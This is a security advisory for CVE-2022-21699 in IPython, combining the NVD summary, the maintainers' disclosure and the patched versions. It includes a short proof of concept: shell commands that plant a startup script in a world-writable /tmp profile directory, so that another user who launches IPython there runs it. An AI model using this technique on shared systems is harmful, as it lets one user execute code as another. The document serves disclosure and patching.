CVE-2022-21699: Execution with Unnecessary Privileges in ipython

IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.

— NVD

We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another. Proof of concept

User1: mkdir -m 777 /tmp/profiledefault mkdir -m 777 /tmp/profiledefault/startup echo 'print("stealing your private secrets")' > /tmp/profiledefault/startup/foo.py

User2: cd /tmp ipython

User2 will see: Python 3.9.7 (default, Oct 25 2021, 01:04:21) Type 'copyright', 'credits' or 'license' for more information IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help. stealing your private secrets

Patched release and documentation

See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699,

Version 8.0.1, 7.31.1 for current Python version are recommended. Version 7.16.3 has also been published for Python 3.6 users, Version 5.11 (source only, 5.x branch on github) for older Python versions.

— GitHub